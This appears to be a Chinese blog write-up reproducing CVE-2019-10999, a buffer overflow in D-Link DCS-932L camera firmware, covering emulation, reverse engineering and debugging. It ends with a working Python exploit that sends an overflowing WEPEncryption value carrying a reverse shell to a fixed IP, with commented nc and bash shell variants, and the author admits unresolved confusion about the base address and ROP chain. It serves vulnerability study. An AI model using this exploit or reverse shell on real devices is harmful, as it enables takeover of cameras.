跟着师傅复现一下啦

image-20250113134711544

CVE-2019-10999 Dlink ip摄像头复现

固件下载:

dcs932l_v1.14.04

老样子先拆包

1
binwalk -Me dcs932l_v1.14.04.bin

漏洞信息:

该漏洞存在于Dlink DCS-93xL、DCS-50xxL系列摄像头的所有固件版本中。
在设备的alphapd服务中,wireless.htm 在将其显示给用户之前进行处理。如果在URL中提供WEPEncryption的值,它会把用户传入的值copy到定义的buf中,但没有进行长度判断,存在缓冲区溢出漏洞,攻击者可利用其来执行任意命令。

它是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞,文件路径

1
/_dcs932l_v1.14.04.bin.extracted/_50040.extracted/_3DA000.extracted/cpio-root/bin/alphapd

这里拆包就能找到。

固件模拟:

这块我直接也看的l1s00t师傅的直接进行固件模拟的,遇到的问题和师傅遇到的一样,只不过我最后是没有占用80端口的。

image-20250117193511496

这里直接讲几个踩坑点

下载qemu-mipsel-static

1
2
sudo apt update
sudo apt install qemu-user-static

敲这个命令的时候注意文件的路径即可

1
sudo chroot . ./qemu-mipsel-static ./bin/alphapd

image-20250117194217456

还有就是

ptach那块建议还是用插件打补丁

把下keypatch.py文件放到IDA Pro\plugins的路径下即可

image-20250117195207225

然后我们就可以正常起起来了

起来之后的样子如下:

image-20250125180536271

漏洞复现:

懒逼复现的巨慢—–2025.1.25

这里直接进行逆向分析后端服务器

ida打开之后这里直接进行溢出点

image-20250128171813210

这里我们看见我们的WEPEncryption通过Var获取然后传给v8,v8在下面有一个验证和copy过程。

so现在我们就是要控制a1的长度即可

看一下a1的调用

image-20250128171931366

image-20250128171945477

定位我们报告中出现的网页进行抓包,看一下请求和发送参数(菜逼看不太懂,大概意思是用于反弹shell的环境变量呗)

image-20250128150000800

溢出长度也很明显就是v11的长度看一下

image-20250128174103989

调试:

1
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd -g 1234 ./bin/alphapd

image-20250128182421897

1
2
gdb-multiarch ./bin/alphapd
target remote :1234

直接就可以调试了

程序基址

1
2
ps -ajx | grep alphapd
sudo cat /proc/8982/maps

image-20250128180546100

这里调试得到基址(没调试出来,不清楚这个反弹shell里面写的payload是怎么加载到dbg里面的)

获取system函数的地址

1
readelf -s ./libuClibc-0.9.28.so | grep system

image-20250128181155611

ROP链查找

1
2
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

shift+F2跑一下

然后就可以正常找一下rop链

(这里也是一直找不到它存在的rop链,指令都找不到,并且地址是不对的,为什么还是能跑通的呢?主要是它的基址是怎么找到?)

反弹shell

这个没什么说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

def urlcode(data):
text = hex(data)[2:]
temp = ['%' + text[i] + text[i + 1] for i in range(0, 8, 2)]
res = ''
for i in range(len(temp)):
res += temp[len(temp) - i - 1]
return res


headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'http://127.0.0.1/wizard.htm',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}

session = requests.session()

libc_base = 0x7f6d0000
system = libc_base + 0x4bd20
gadget = libc_base + 0x50de4

#cmd = 'bash -c "bash -i >& /dev/tcp/192.168.222.134/9999 0>&1"'
cmd='sh -i >& /dev/tcp/192.168.222.134/9999 0>&1'
#cmd ='nc -e /bin/bash 192.168.222.134 9999'

#cmd = 'cat flag'


ip = 'http://127.0.0.1/wireless.htm'
data = '?WEPEncryption=' + 'A' * 0x10 + urlcode(system)
data += 'B' * (0x28 - 0x14) + urlcode(gadget)
data += 'C' * (0x30 - 0x2c + 0x1c8 - 0xd8) + cmd

url = ip + data

res = session.get(url=url, headers=headers)

print(res.text)

总结:

​ 放假中,复现时间也比较长,主要是懒,环境搭建时没有使用之前的搭建环境(因为要替换模拟的lib环境,菜逼不会),而是直接选择逆向它的后端服务器(这里是直接对其的ELF文件进行patch之后,直接进行模拟),并且不是系统用户下复现,感觉这是看不见基址的主要原因。

报告和文章没有找到特别详细的,也是复现的主要问题之一,对于MIPS架构的指令和寄存器还是不了解,和对远程调试进行本地调试还是不够熟悉(不太懂它的shell里面的payload是怎么传到dbg里面的,应该和上次复现进行可以进行设置环境变量的那种吧,web方面了解甚少,报告也没找到有详细说明的)。

参考文献:

https://github.com/fuzzywalls/CVE-2019-10999

CVE-2019-10999-Dlink摄像头缓冲区溢出漏洞复现 - Hexo (lst-oss.github.io)

CVE-2019-10999复现 - 先知社区 (aliyun.com)

特别感谢:

inf_师傅:https://blog.next-infinite.top/

l1s00t师傅:https://lst-oss.github.io/

cr4eper师傅:https://cr4eper.github.io/